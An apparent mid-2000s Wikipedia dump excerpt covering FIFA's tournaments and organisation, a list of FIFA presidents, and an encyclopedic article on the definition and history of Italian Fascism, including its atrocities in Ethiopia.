[[Image:Wohlfahrtsbriefmarke-fifa.jpg|right|thumb|[[Football World Cup Trophy|FIFA World Cup Trophy]] on a German [[Postage stamp|Stamp]]]]
{{main|Football World Cup}}

[[Jules Rimet]] became the third President of FIFA in [[1921]]. He presided over another two successful Olympic competitions despite the absence of [[England national football team|England]] and [[Scotland national football team|Scotland]]. The success of the competitions, combined with the rising profile of the game, allowed FIFA to seriously consider, for the first time, staging its own regular World Championship. Talks on the matter began in [[1928]], and the first [[Football World Cup|World Cup]] took place in [[Uruguay]] in [[Football World Cup 1930|1930]] and was won by the home nation. Despite the reluctance of participation from European nations (due to the travel time required and the ongoing [[economic depression]]), the tournament was considered a success and plans were laid for the next World Cup in [[Football World Cup 1934|1934]], in [[Italy]].

Excluding a break for [[World War II]], the World Cup continues to be held once every four years, with the most recent tournament in [[2002 Football World Cup|2002]] held in [[South Korea]] and [[Japan]]. The next World Cup will be held in [[Germany]] in [[2006 Football World Cup|2006]].

==Other tournaments==

Aside from the World Cup and Olympic competitions, FIFA organises World Championships for players at [[FIFA U-17 World Championship|under-17 level]] and [[FIFA World Youth Championship|youth level]]. In addition to this, it has introduced the [[Confederations Cup]], a competition for the champions from each confederation (plus the hosts and World Cup Winners), every two years; in the year before a World Cup, it serves as a dry run for that competition, with the World Cup host staging the tournament as a test of facilities.

With the development of the women's game, FIFA introduced the [[FIFA Women's World Cup|Women's World Cup]] in [[1991]] and the [[FIFA U-20 Women's World Championship|Women's Under-20 World Championship]] in [[2002]] (started as U-19, will become U-20 in [[2006]]). A [[FIFA U-17 Women's World Championship|U-17 women's championship]] will start in [[2008]].

FIFA's only major [[football club|club]] competition is the [[FIFA Club World Championship]]. It was slated as the natural progression of the [[European/South American Cup]] (which itself ran under a variety of names) to include clubs from all confederations. The tournament was not warmly received on its debut in [[FIFA Club World Championship 2000|2000]] and its [[2002]] edition was cancelled. Three years later, with a shorter revised format, the tournament returned for its [[FIFA Club World Championship 2005|2005]] edition in [[Japan]].

FIFA also presides over World Cups in modified forms of the game including [[beach football]] (the [[FIFA Beach Soccer World Cup]] and [[futsal]] (the [[FIFA Futsal World Championship]]).

==Laws of the game==

The [[laws of football]] that govern the game are not solely the responsibility of FIFA; they are maintained by a body called the [[International Football Association Board]] (IFAB). FIFA has a 50% representation on its board (four representatives); the other four are provided by the football associations of [[The Football Association|England]], [[Scottish Football Association|Scotland]], [[Football Association of Wales|Wales]], and [[Irish Football Association|Northern Ireland]], in recognition of the British nations' unique contribution to the creation and history of the game.

==Organisation==
[[Image:World Map FIFA.png|thumb|400px|Map of the World with the six confederations.]]
Under the auspices of the President, FIFA is split into six confederations which oversee the game in the different continents and regions of the world. National federations must claim membership to both FIFA and the confederation in which their nation is geographically resident for their teams to qualify for entry to FIFA's competitions (with a few geographic exceptions listed below):

*[[Asian Football Confederation|AFC - Asian Football Confederation]] in [[Asia]] and [[Australia]]
*[[Confédération Africaine de Football|CAF - Confédération Africaine de Football]] in [[Africa]]
*[[CONMEBOL|CONMEBOL - Confederación Sudamericana de Fútbol]] in [[South America]]
*[[CONCACAF|CONCACAF - Confederation of North, Central American and Caribbean Association Football]] in [[North America]] and [[Central America]]
*[[Oceania Football Confederation|OFC - Oceania Football Confederation]] in [[Oceania]]
*[[UEFA|UEFA - Union of European Football Associations]] in [[Europe]].

Nations straddling the traditional boundary between Europe and Asia have generally had their choice of confederation. As a result, nations including [[Football Union of Russia|Russia]] and [[Turkish Football Federation|Turkey]] have chosen to become part of UEFA despite the bulk of their land area being in Asia. [[Israel Football Association|Israel]], although lying entirely within Asia, joined UEFA in [[1994]], after decades of isolation by many of its Middle Eastern neighbours. [[Football Union of Kazakhstan|Kazakhstan]] were the latest nation to make the move from AFC to UEFA, in [[2002]].

[[Guyana Football Federation|Guyana]] and [[Surinaamse Voetbal Bond|Suriname]] have always been CONCACAF members despite being South American countries.

[[Football Federation Australia|Australia]] have been given permission to join the AFC instead of the OFC from [[2006]] onwards. Australia have long lobbied for a change due to [[Australia national football team|its national team's]] strength, which is disproportionate to the other Oceania teams. No team from the OFC is offered automatic qualification to the World Cup; instead the winner of their section must play a play-off against a CONMEBOL side, a hurdle at which Australia have traditionally fallen. Perhaps ironically, Australia successfully qualified for the {{Wc|2006}} by winning [[Football World Cup 2006 - Oceania-South America Qualification Playoff|just such a playoff]] in a [[penalty shootout (football)|penalty shootout]] against [[Uruguay national football team|Uruguay]], just a few months after the clearance to move was granted.

In total, FIFA recognises 207 national federations and their associated national teams; see the [[list of national football teams]] and their respective [[list of FIFA country codes|country codes]]. The [[FIFA World Rankings]] are updated monthly and rank each team based on their performance in international competitions, qualifiers, and friendly matches. There is also a [[FIFA Women's World Rankings|world ranking for women's football]], updated four times a year.

==Recognitions and awards==

FIFA awards, each year, the title of [[FIFA World Player of the Year]] to the most prestigious player of the year, as part of its annual awards ceremony with also recognises team and international football achievements.

As part of its centennial celebrations in [[2004]], FIFA organised a &quot;Match of the Century&quot; between [[France national football team|France]] and [[Brazil national football team|Brazil]], the most successful national teams of the last decade. In addition, it commissioned arguably the most famous player ever, [[Pelé]], to produce a list of the greatest players of all time. This list, the [[FIFA 100]], included 50 players who were still actively playing at the time of publication ([[Mia Hamm|one of whom]] was female), and 75 retired players (including himself, but not including deceased players, with [[Michelle Akers|one woman]]). The list was originally planned to be just 100 players long but Pelé is understood to have found it too hard to choose just 100.

==Commercial activities==

FIFA announced in [[April 2004]] that it is expecting to earn $144 million profit on $1.64 billion in revenue between [[2003]] and [[2006]] (the 4 year cycle including the 2006 World Cup).

FIFA has licensed its name and copyrighted content to [[computer game]] designer [[EA Sports]] to provide a number of football simulation games for [[Personal computer|PC]] and various [[game consoles]]. A new instalment in this [[FIFA series]] of games is introduced each year, and additional versions are released with World Cup branding to coincide with these tournaments. 2005 saw an additional &quot;urban football&quot; video game franchise, [[FIFA Street]], added.

==External links==
*[http://www.fifa.com/ FIFA web site]

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  <page>
    <title>List of Presidents of FIFA</title>
    <id>11052</id>
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      <text xml:space="preserve">Presidents of the [[FIFA]]:

* [[Sepp Blatter]], [[Switzerland]], elected [[June 8]] [[1998]]
* [[João Havelange]], [[Brazil]], [[1974]]-[[1998]], Honorary President of FIFA nominated [[June 8]] [[1998]]
* [[Stanley Rous|Sir Stanley Rous]], [[England]], [[1961]]-[[1974]], Honorary President of FIFA nominated [[June 11]] [[1974]]
* [[Arthur Drewry]], [[England]], [[1955]]-[[1961]]
* [[Rodolphe Seeldrayers]], [[Belgium]], [[1954]]-[[1955]]
* [[Jules Rimet]], [[France]], [[1921]]-[[1954]], Honorary President of FIFA nominated [[June 21]] [[1954]]
* [[Daniel Burley Woolfall]], [[England]], [[1906]]-[[1918]]
* [[Robert Guérin]], [[France]], [[1904]]-[[1906]]

[[Category:Football (soccer) related lists|Presidents of FIFA]]
[[Category:Presidents of FIFA|  List of Presidents of FIFA]]

[[sl:Seznam predsednikov FIFE]]</text>
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    <title>Frontline tv series</title>
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    <title>Fascism</title>
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      <text xml:space="preserve">{{cleanup-date|November 2005}}
{{NPOV}} &lt;!-- This article may give too much attention to fringe theories, and may not identify them clearly as such. The sections on fascism and religion are in particular need of attention. 
The fringe theories should be simply identified in the body of the text as being (possibly) fringe theories (e.g. &quot;fascism is just a form of corporatism which governs the entire planet!!&quot; is DEFINITELY a fringe theory) and modified with appropriate comments.  --&gt;
{{Fascism}}

'''Fascism''' (in [[Italian language|Italian]], ''fascismo''), capitalized, was the [[authoritarian]] political movement which ruled [[Italy]] from 1922 to 1943 under the leadership of [[Benito Mussolini]]. Similar political movements, including [[Nazism]], spread across [[Europe]] between [[World War I]] and [[World War II]]. 

The most restrictive definitions of fascism include only one government, that of Mussolini in Italy. However, the term is frequently applied to [[Nazi Germany]] under [[Adolf Hitler]] and is used to refer to similar regimes and movements across Europe in the same time period, such as [[Hungary]]'s [[Arrow Cross Party]],  [[Romania]]'s [[Iron Guard]], [[Spain]]'s [[Falange]], and the French political movements led by [[Marcel Déat]] and [[Jacques Doriot]].  More broadly, it is sometimes (by both supporters and opponents) applied to other authoritarian regimes of the period such as those of [[Imperial Japan]] under [[Hideki Tojo]], [[Austria]] under [[Engelbert Dollfuss]] and [[Greece]] under [[Ioannis Metaxas]]. Its use for similar but longer-lived regimes such as [[Spain]] under [[Francisco Franco]] and the [[Estado Novo]] of [[António de Oliveira Salazar]] in [[Portugal]] is widespread among opponents of those regimes but is often disputed by their supporters. This trend toward the term being used only by opponents is amplified in the case of more recent authoritarian regimes such as [[Indonesia]] under [[Suharto]],  and [[Chile]] under [[Augusto Pinochet]]. 

Although the broadest definitions of fascism may include every authoritarian state that has ever existed, most theorists see important distinctions to be made. Fascism in Italy arose in the 1920s as a mixture of [[syndicalist]] notions with an anti-[[materialist]] theory of the state; the latter had already been linked to an extreme [[nationalism]]. Fascism in many ways seems to have been clearly developed as a reaction against [[Communism]] and [[Marxism]], both in a philosophic and political sense, although it opposed democratic capitalist economics along with [[socialism]], [[Marxism]], and [[liberal democracy]]. It viewed the state as an organic entity in a positive light rather than as an institution designed to protect collective and individual rights, or as one that should be held in check. It tended to reject the Marxist notion of [[social class]]es (and universally dismissed the concept of ''[[class conflict]]''), replacing it instead with two more nebulous struggles: conflict between races and the struggle of the youth versus their elders. This meant embracing nationalism and [[mysticism]], and advancing ideas of strength and power as means of legitimacy, a might makes right that glorified war as an end it itself and determinant of truth and worthiness. An affinity to these ideas can be found in [[Social Darwinism]].  These ideas are in direct opposition to the ideas reason or rationalism characteristic of the [[Age of Enlightenment]], from which liberalism and, later, Marxism would emerge. 

Fascism is also typified by totalitarian attempts to impose state control over all aspects of life: political, social, cultural, and economic. The fascist state regulates and controls (as opposed to nationalizing) the means of production. Fascism exalts the [[nation]], [[state]], or [[race]] as superior to the individuals, institutions, or groups composing it. Fascism uses explicit [[populism|populist]] rhetoric; calls for a heroic mass effort to restore past greatness; and demands loyalty to a single leader, often to the point of a [[cult of personality]]. 

Fascism attracted political support from diverse sectors of the population, including [[big business]], [[farmers]] and [[landowner]]s, [[nationalism|nationalists]], and [[reactionary|reactionaries]], disaffected [[World War I]] veterans, intellectuals such as [[Gabriele D'Annunzio]], [[Curzio Malaparte]] and [[Martin Heidegger]] to name a few, [[conservatism|conservatives]] and [[small business]]men, and the poor to whom they promised work and bread.

[[fascist (epithet)|The word has become a slur]] throughout the [[political spectrum]] since the failure of the [[Axis powers]] in World War II, and it has been extremely uncommon for any political groups to call themselves &quot;fascist&quot; since 1945. In contemporary political discourse, adherents of some political ideologies tend to associate fascism with their enemies, or define it as the opposite of their own views. There are no major self-described fascist parties or organizations anywhere in the world.

==Definition==
Many diverse regimes have self-identified as fascist, and defining fascism has proved  complicated and contentious. Historians, political scientists, and other scholars have engaged in long and furious debates concerning the exact nature of fascism and its core tenets. Since the 1990s, however, there has been a growing move toward some rough  consensus reflected in the work of Payne, Eatwell, Griffin, and Paxton. See [[Fascism and ideology]].

The word &quot;fascism&quot; comes from '''''[[fascio]]''''' (plural: ''fasci''), which may mean &quot;bundle,&quot; as in a political or militant group or a nation, but also from the ''[[fasces]]'' (rods bundled around an axe), which were an [[ancient Rome|ancient Roman]] symbol of the authority of [[magistrate]]s. The Italian ''Fascisti'' were also known as [[Black Shirts]] for their style of uniform incorporating a black shirt (See Also: [[political colour]]).

[[Merriam-Webster]] defines fascism as &quot;a political philosophy, movement, or regime (as that of the Fascisti) that exalts nation and often race above the individual and that stands for a centralized autocratic government headed by a dictatorial leader, severe economic and social regimentation, and forcible suppression of opposition&quot;{{ref|MW}}. The [[American Heritage Dictionary]] instead describes it as &quot;A system of government that exercises a dictatorship of the extreme right, typically through the merging of state and business leadership, together with belligerent nationalism.&quot;{{ref|AHD}}.

Mussolini defined fascism as being a [[right-wing]] ideology in opposition to [[socialism]], [[liberalism]], [[democracy]] and [[individualism]]. He said in ''The Political and Social Doctrine of Fascism'':
:&quot;Granted that the 19th century was the century of socialism, liberalism, democracy, this does not mean that the 20th century must also be the century of socialism, liberalism, democracy. Political doctrines pass; nations remain. We are free to believe that this is the century of authority, a century tending to the 'right', a Fascist century. If the 19th century was the century of the individual (liberalism implies individualism) we are free to believe that this is the 'collective' century, and therefore the century of the State.&quot; [http://www.worldfuturefund.org/wffmaster/Reading/Germany/mussolini.htm]

Fascism is associated by many scholars with one or more of the following characteristics: a very high degree of [[nationalism]], economic [[corporatism]], a powerful, [[dictatorship|dictatorial]] leader who portrays the [[nation]], [[state]] or [[collective]] as superior to the individuals or groups composing it. 

Stanley Payne's ''Fascism: Comparison and Definition'' (1980) uses a lengthy itemized list of characteristics to identify fascism, including the creation of an authoritarian state; a regulated, state-integrated economic sector; '''[[fascist symbolism]]'''; anti-[[liberalism]]; [[anti-communism]] {{ref|Payne}}. A similar strategy was employed by [[semiotics|semiotician]] [[Umberto Eco]] in his popular essay ''Eternal Fascism: Fourteen Ways of Looking at a Blackshirt''{{ref|Eco}}. More recently, an emphasis has been placed upon the aspect of populist fascist rhetoric that argues for a &quot;re-birth&quot; of a conflated [[nation]] and ethnic people{{ref|Griffin}}.

Many scholars hold that fascism as a social movement employs elements from the political left, but eventually allies with the political right, especially after attaining state power. See: [[Fascism and ideology]].  

Fascism has expressed itself through both political and economic practices, and academics have examined these elements both together and in isolation. [[Hannah Arendt]], whose focus is largely political, argues that regimes commonly thought of as fascist, such as Nazism, belong to a larger category of [[totalitarianism]]s, including communist dictatorships, such as that of [[Joseph Stalin]]{{ref|Arendt}}. Thayer Watkins, a professor of Economics from [[San Jose State University]], identifies fascism as aligned with '''[[corporatism]]''', a form of economic oppression that he argues includes most of the world's governments{{ref|Watkins}}. Watkins, who some accuse of being out of step with the academic mainstream, considers Mussolini's Fascist regime to be merely one example of the corporatist states that emerged during the [[Great Depression]], including such diverse political systems as that of [[Spain]], [[Argentina]] and the [[United States]].

After the defeat of Fascist Italy and Nazi Germany in World War II,  the term has taken on an extremely pejorative meaning, largely in reaction to the [[crimes against humanity]] committed by the Nazis. Today, very few groups proclaim themselves fascist, and the term is often used to describe individuals or political groups who are perceived to behave in an authoritarian or totalitarian manner; by silencing opposition, judging personal behavior, promoting racism, or otherwise attempting to concentrate power and create hate towards the &quot;enemies of the state&quot;. Because of the term's use as a pejorative, there is a great deal of controversy surrounding the question of what political movements and governments belong to fascism.

==Italian Fascism==
===Early history===
{{main|Fascio}}

===Mussolini's Fascism===
[[Image:Benito Mussolini in Yugoslavia crop.JPG|thumb|[[Benito Mussolini]] in [[Yugoslavia]], c. 1942.]]
As a political and economic system in Italy, fascism combined elements of corporatism, [[totalitarianism]], [[nationalism]], [[militarism]] and anti-Communism. In an article in the 1932 ''Enciclopedia Italiana'', written by [[Giovanni Gentile]] and attributed to [[Benito Mussolini]], fascism is described as a system in which &quot;The State not only is authority which governs and molds individual wills with laws and values of spiritual life, but it is also power which makes its will prevail abroad... For the Fascist, everything is within the State and... neither individuals nor groups are outside the State... For Fascism, the State is an absolute, before which individuals or groups are only relative... Liberalism denied the State in the name of the individual; Fascism reasserts the rights of the State as expressing the real essence of the individual.&quot; {{ref|Gentile}}

It discussed other political and social doctrines of the time by describing fascism as: &quot;the resolute negation of the doctrine underlying so-called scientific and Marxian socialism... and as rejecting (in democracy) &quot;the absurd conventional lie of political equalitarianism, the habit of collective irresponsibility, the myth of felicity and indefinite progress&quot;. {{ref|Gentile}}

&quot;Fascism is definitely and absolutely opposed to the doctrines of liberalism, both in the political and economic sphere. ... The Fascist State lays claim to rule in the economic field no less than in others; it makes its action felt throughout the length and breadth of the country by means of its corporate, social, and educational institutions, and all the political, economic, and spiritual forces of the nation, organised in their respective associations, circulate within the State.&quot;{{ref|Mussolini1}}

Another central theme of Italian fascism was the struggle against what it described as the corrupt &quot;[[plutocracy|plutocracies]]&quot; of the time, France and Britain in particular.

Italian Fascism is often considered to be a proper noun and thus denoted by a capital letter &quot;F&quot;, whereas generic fascism is conventionally represented with the lower-case character &quot;f&quot;. Italian Fascism is considered a model for other forms of fascism, yet there is disagreement over which aspects of structure, tactics, culture, and ideology represent a &quot;fascist minimum&quot; or core.

''[[Doctrine of Fascism|A Doctrine of Fascism]]'' was written by [[Giovanni Gentile]], a [[neo-Hegelianism|neo-Hegelian]] philosopher who served as the official philosopher of fascism. Mussolini signed the article and it was officially attributed to him. In it, French socialists [[Georges Sorel]], [[Charles Peguy]], and [[Hubert Lagardelle]] were invoked as the sources of fascism. Sorel's ideas concerning [[syndicalism]] and violence are much in evidence in this document. It also quotes from [[Ernest Renan]] who it says had &quot;pre-fascist intuitions&quot;. Both Sorel and Peguy were influenced by the Frenchman [[Henri Bergson]]. Bergson rejected the [[scientism]], mechanical evolution and [[materialism]] of [[Marxist]] ideology. Also, Bergson promoted an ''[[elan vital]]'' as an evolutionary process. Both of these elements of Bergson appear in fascism. Mussolini states that fascism negates the doctrine of Marxist socialism and its doctrine of [[historical materialism]]. Hubert Lagardelle, an authoritative syndicalist writer, was influenced by [[Pierre-Joseph Proudhon]] who, in turn, inspired [[anarchosyndicalism]].

There were several strains of tradition influencing Mussolini. [[Sergio Panunzio]], a major theoretician of fascism in the 1920s, had a [[syndicalist]] background, but his influence waned as the movement shed all connection to the working-class autonomy of syndicalism. The fascist concept of [[corporatism]] and particularly its theories of [[class collaboration]] and economic and social relations have  similarities to the model laid out by [[Pope Leo XIII]]'s [[1892]] [[encyclical]] ''[[Rerum Novarum]]''{{ref|Rerum}}. This encyclical addressed politics as it had been transformed by the [[Industrial Revolution]], and other changes in society that had occurred during the nineteenth century. The document criticized capitalism, complaining of the exploitation of the masses in industry. However, it also sharply criticized the socialist concept of [[class struggle]], and the proposed socialist solution to exploitation (the elimination, or at least the limitation, of private property). ''Rerum Novarum'' called for strong governments to undertake a mission to protect their people from exploitation, while continuing to uphold private property and reject socialism. It also asked [[Roman Catholic Church|Catholics]] to apply principles of social justice in their own lives. 

Seeking to find some principle to compete with and replace the Marxist doctrine of [[class struggle]], ''Rerum Novarum'' urged social solidarity between the upper and lower [[classes]]. Its analogy of the state as being like a body working together as &quot;one mind&quot; had some cultural influence on the early Fascists of Catholic nations. It also indicated the state had a right to suppress &quot;firebrands&quot; and striking workers. Further ''Rerum Novarum'' proposed a kind of [[corporatism]] that resembled medieval guilds for an industrial age. This relates far more directly to [[Brazilian Integralism]] form of Fascism than anything in Italy. The encyclical intended to counteract the &quot;subversive nature&quot; of both [[Marxism]] and [[liberalism]].

Themes and ideas developed in ''Rerum Novarum'' can also be found in the ideology of fascism as developed by Mussolini. Although it also contains ideas like &quot;the members of the working classes are citizens by nature and by the same right as the rich&quot; or &quot;the State has for its office to protect natural rights, not to destroy them; and, if it forbid its citizens to form associations, it contradicts the very principle of its own existence,&quot; that never fit easily with Italian Fascism.

Fascism also borrowed from [[Gabriele D'Annunzio]]'s [[Constitution of Fiume]] for his ephemeral &quot;regency&quot; in the city of [[Fiume]]. [[Syndicalism]] had a strong influence on fascism as well, particularly as some syndicalists intersected with D'Annunzio's ideas. Before the First World War, syndicalism had stood for a militant doctrine of working-class revolution. It distinguished itself from Marxism because it insisted that the best route for the working class to liberate itself was the [[trade union]] rather than the party. 

The [[Italian Socialist Party]] ejected the syndicalists in 1908. The syndicalist movement split between [[anarcho-syndicalists]] and a more moderate tendency. Some moderates began to advocate &quot;mixed syndicates&quot; of workers and employers. In this practice, they absorbed the teachings of Catholic theorists and expanded them to accommodate greater power of the state, and diverted them by the influence of D'Annunzio to nationalist ends.

When [[Henri De Man]]'s Italian translation of ''Au-dela du marxisme'' emerged, Mussolini was excited and wrote to the author that his criticism &quot;destroyed any scientific element left in Marxism&quot;. Mussolini was appreciative of the idea that a corporative organization and a new relationship between labour and capital would eliminate &quot;the clash of economic interests&quot; and thereby neutralize &quot;the germ of class warfare.'&quot; 

Socialist thinkers, [[Robert Michels]], Sergio Panunzio, [[Ottavio Dinale]], [[Agostino Lanzillo]], [[Angelo Oliviero Olivetti]], [[Michele Bianchi]], and [[Edmondo Rossoni]] played a part in this attempt to find a [[third way]] that rejected both capitalism and Marxism.

Many historians claim that the [[March 23]] [[1919]] meeting at the Piazza San Sepolcro was the historic “birthplace” of the fascist movement. However, this would imply that the Italian Fascists “came from nowhere” which is simply not true. Mussolini revived his former group, ''[[Fasci d'Azione rivoluzionaria]]'', in order to take part in the 1919 elections in response to an increase in Communist activity occurring in Milan. The [[Fasci di Combattimenti]] were the result of this continuation (not creation) of the Fascist party. The result of the meeting was that Fascism became an organized political movement. Among the founding members were the revolutionary syndicalist leaders Agostino Lanzillo and Michele Bianchi.

In 1919, the fascists developed a program that called for:
* a [[republic|democratic republic]],
* [[separation of church and state]],
* a national army,
* [[progressive taxation]] for inherited wealth, and 
* development of co-operatives or guilds to replace labor unions.

As the movement evolved, several of these initial ideas were abandoned and rejected.

Mussolini capitalized on fear of a Communist revolution{{ref|Corner}}, finding ways to unite Labor and Capital to prevent [[class war]]. In 1926 he created the National Council of Corporations, divided into guilds of employers and employees, tasked with managing 22 sectors of the economy. The guilds subsumed both labor unions and management, and were represented in a chamber of corporations through a triad comprised of a representative from management, from labour and from the [[Partito Nazionale Fascista]]. Together they would plan aspects of the economy for mutual advantage. The movement was supported by small [[capitalist]]s, low-level [[bureaucracy|bureaucrats]], and the [[middle class]]es, who had all felt threatened by the rise in power of the Socialists. Fascism also met with great success in rural areas, especially among farmers, peasants, and in the city, the [[lumpenproletariat]].

Mussolini's fascist state was established nearly a decade before Hitler's rise to power (1922 and the [[March on Rome]]). Both a movement and a historical phenomenon, Italian Fascism was, in many respects, an adverse reaction to both the apparent failure of ''[[laissez-faire]]'' economics and fear of Communism.

Fascism was, to an extent, a product of a general feeling of anxiety and fear among the middle class of postwar Italy. This fear arose from a convergence of interrelated economic, political, and cultural pressures. Under the banner of this authoritarian and nationalistic ideology, Mussolini was able to exploit fears regarding the survival of capitalism in an era in which postwar depression, the rise of a more militant left, and a feeling of national shame and humiliation stemming from Italy's 'mutilated victory' at the hands of the World War I postwar peace treaties seemed to converge. Such unfulfilled nationalistic aspirations tainted the reputation of [[liberalism]] and [[constitutionalism]] among many sectors of the Italian population. In addition, such democratic institutions had never grown to become firmly rooted in the young [[nation-state]]. 

This same postwar depression heightened the allure of Marxism among an urban proletariat who were even more disenfranchised than their continental counterparts. But fear of the growing strength of [[trade union]]ism, Communism, and socialism proliferated among the [[elite]] and the middle class. In a way, Benito Mussolini filled a political vacuum. Fascism emerged as a &quot;third way&quot; &amp;mdash; as Italy's last hope to avoid imminent collapse of the 'weak' Italian liberalism, and Communist revolution. 

In this fluid situation, Mussolini took advantage of the opportunity and, rapidly abandoning the early socialist and republican program, put himself at the service of the antisocialist cause. The fascist militias, supported by the wealthy classes and by a large part of the state apparatus which saw in him the restorer of order, launched a violent offensive against the syndicalists and all political parties of a socialist or Catholic inspiration, particularly in the north of Italy (Emiglia Romagna, Toscana, etc.), causing numerous victims though the substantial indifference of the forces of order. These acts of violence were, in large part, provoked by fascist ''[[squadristi]]'' who were increasingly and openly supported by [[Dino Grandi]], the only real competitor to Mussolini for the ''leadership'' of the fascist party until the Congress of Rome in 1921.

The violence increased considerably during the period from 1920-1922 until the March on Rome. Confronted by 
these badly armed and badly organized fascist militias attacking the Capital, [[King of Italy|King]] [[Victor Emmanuel III of Italy|Victor Emmanuel III]], preferring to avoid any spilling of blood, decided to appoint Mussolini, who at that moment had the support of about 22 deputies in Parliament, [[Prime Minister|President of the Council]]. Victor Emmanuel continued to maintain control of the armed forces: if he had wanted to, he would have had no difficulties in booting Mussolini and the completely inferior fascist forces out of Rome. Therefore, it is not appropriate to refer to Mussolini's rise as a &quot;coup d'etat&quot; since he obtained his post legally with the blessing of the sovereign of the nation.

As Prime Minister, the first years of Mussolini's reign were characterized by a coalition government composed of nationalists, liberals and populists and did not assume dictatorial connotations until the assassination of [[Giacomo Matteotti|Matteotti]]. In domestic politics, Mussolini favoured the complete restoration of State authority, with the integration of the ''Fasci di Combattimento'' into the armed forces (the foundation in January 1923 of the ''Milizia Voluntaria per la Sicurezza Nazionale'') and the progressive identification of the Party with the State. In political and social economy, he emanated legislation that favoured the wealthy industrial and agrarian classes (privatizations, liberalizations of rent laws and dismantlement of the unions).

In June of 1923, a new majoritarian electoral law was approved which assigned two thirds of the seats in Parliament to the coalition which had obtained at least 25% of the votes. This law was punctually applied in the elections of [[6 April]] [[1924]], in which the fascist &quot;listone&quot; obtained an extraordinary success, aided by the use of shenanigans, violence and intimidatory tactics against opponents.

The assassination of the socialist deputy [[Giacomo Matteotti]], who had requested the annulment of the elections because of the irregularities committed, provoked a momentary crisis of the Mussolini government. The weak response of the opposition (the [[secession of the Aventine]]), incapable of transforming their posturing into a mass antifascist action, was not sufficient to distance the ruling classes and the Monarchy from Mussolini who, on [[3 January]] [[1925]], broke open the floodgates and, in a famous discourse in which he took upon himself all of the responsibility for the assassination of Matteoti and the other squadrist violence, proclaimed 
a ''de facto'' dictatorship, suppressing every residual liberty and completing the identification of the Fascist Party with the State.

From 1925 until the middle of the 1930's, fascism experienced little and isolated opposition, although that which it experienced was memorable, consisting in large part of communists such as [[Antonio Gramsci]], socialists such as [[Pietro Nenni]] and liberals such as [[Piero Gobetti]] and [[Giovanni Amendola]]. 

While failing to outline a coherent program, fascism evolved into a new political and economic system that combined corporatism, totalitarianism, nationalism, and anti-Communism in a state designed to bind all classes together under a capitalist system. This was a new capitalist system, however, one in which the state seized control of the organization of vital industries. Under the banners of nationalism and state power, Fascism seemed to synthesize the glorious Roman past with a futuristic utopia. 

Despite the themes of social and economic reform in the initial [[Fascist manifesto]] of June 1919, the movement came to be supported by sections of the middle class fearful of socialism and communism. Industrialists and landowners supported the movement as a defense against labour militancy. Under threat of a fascist [[March on Rome]], in October 1922, Mussolini assumed the premiership of a right-wing coalition [[Cabinet]] initially including members of the pro-church ''[[Christian Democracy (Italy)|Partito Popolare]]'' (People's Party). 

The [[regime]]'s most lasting political achievement was perhaps the [[Lateran Treaty]] of February 1929 between the Italian state and the [[Holy See]]. Under this treaty, the [[Papacy]] was granted temporal sovereignty over the [[Vatican City]] and guaranteed the free exercise of Roman Catholicism as the sole state religion throughout Italy in return for its acceptance of Italian sovereignty over the Pope's former dominions. 

In the 1930s, Italy recovered from the [[Great Depression]], and achieved economic growth in part by developing domestic substitutes for imports ([[Autarky|''Autarchia'']]). The draining of the malaria-infested Pontine Marshes south of Rome was one of the regime's proudest boasts. But growth was undermined by international sanctions following Italy's October 1935 invasion of [[Ethiopia]] (the [[Abyssinia crisis]]), and by the government's costly military support for Franco's Nationalists in [[Spain]].

The invasion of Ethiopia was accomplished rapidly (the proclamation of Empire took place in May of 1936) and involved several atrocities such as the use of [[chemical weapon]]s ([[mustard gas]] and [[phosgene]]) and the indiscriminate slaughter of much of the local population to prevent opposition.

The armed forces disposed of a vast arsenal of grenades and bombs loaded with mustard gas which were dropped from airplanes. This substance was also sprayed directly from above like an &quot;insecticide&quot; on to enemy combatants and villages. It was Mussolini himself who authorized the use of the weapons: &quot;Rome, [[27 October]] '35. A.S.E. Graziani. The use of gas as an ''ultima ratio'' to overwhelm enemy resistance and in case of counterattack is authorized. Mussolini.&quot; &quot;Rome, [[28 December]] '35. A.S.E. Badoglio. Given the enemy system I have authorized V.E. the use even on a vast scale of any gas and flamethrowers. Mussolini.&quot; Mussolini and his generals sought to cloak the operations of chemical warfare in the utmost secrecy, but the crimes of the fascist army were revealed to the world through the denunciations of the International Red Cross and of many foreign observers. The Italian reaction to these revelations consisted in the &quot;erroneous&quot; bombardment (at least 19 times) of Red Cross tents posted in the areas of military encampment of the Ethiopian resistance. The orders imparted by Mussolini, with respect to the Ethiopian population, were very clear: &quot;Rome, [[5 June]] [[1936]]. A.S.E. Graziani. All rebels taken prisoner must be killed. Mussolini.&quot; &quot;Rome, [[8 July]] [[1936]]. A.S.E. Graziani. I have authorized once again V.E. to begin and systematically conduct a politics of terror and extermination of the rebels and the complicit population. Without the ''legge taglionis'' one cannot cure the infection in time. Await confirmation. Mussolini.&quot; {{ref|Candeloro}} The predominant part of the work of repression was carried out by Italians who, besides the bombs laced with mustard gas, instituted lagers, installed public gallows, killed hostages, and mutilated the corpses of their enemies. Graziani ordered the elimination of captured guerrillas by way of throwing them out of airplanes in mid-flight. Many Italian troops had themselves photographed next to cadavers hanging from the gallows or hanging around chests full of detached heads. One episode in the Italian occupation of Ethiopia was the slaughter of Addis Ababa of February, 1937 which followed upon an attempt to assassinate Graziani. In the course of an official ceremony a bomb exploded next to the general. The response was immediate and cruel. The thirty or so Ethiopians present at the ceremony were impaled, and immediately after, the black shirts of the fascist Militias poured out into the streets of Addis Ababa where they tortured and killed all of the men, women and children that they encountered on their path. They also set fire to homes in order to prevent the inhabitants from leaving and organized the mass executions of groups of 50-100 people. {{ref|Del}}

International isolation and their common involvement in Spain brought about increasing diplomatic collaboration between Italy and [[Nazi Germany]]. This was reflected also in the Fascist regime's domestic policies as the first [[anti-semitic]] laws were passed in 1938. From that year on, with the publication of the ''Manifesto degli scienziati razzisti'' (Manifesto of the Racist Scientists) (in reality about 90% written by Mussolini himself), fascism declared itself explicitly anti-Semite.

Italy's intervention ([[June 10]] [[1940]]) as Germany's ally in World War II brought military disaster, and resulted in the loss of her north and east African colonies and the [[United States|American]]-[[United Kingdom|British]]-[[Canada|Canadian]] invasion of Sicily in July 1943 and southern Italy in September 1943.

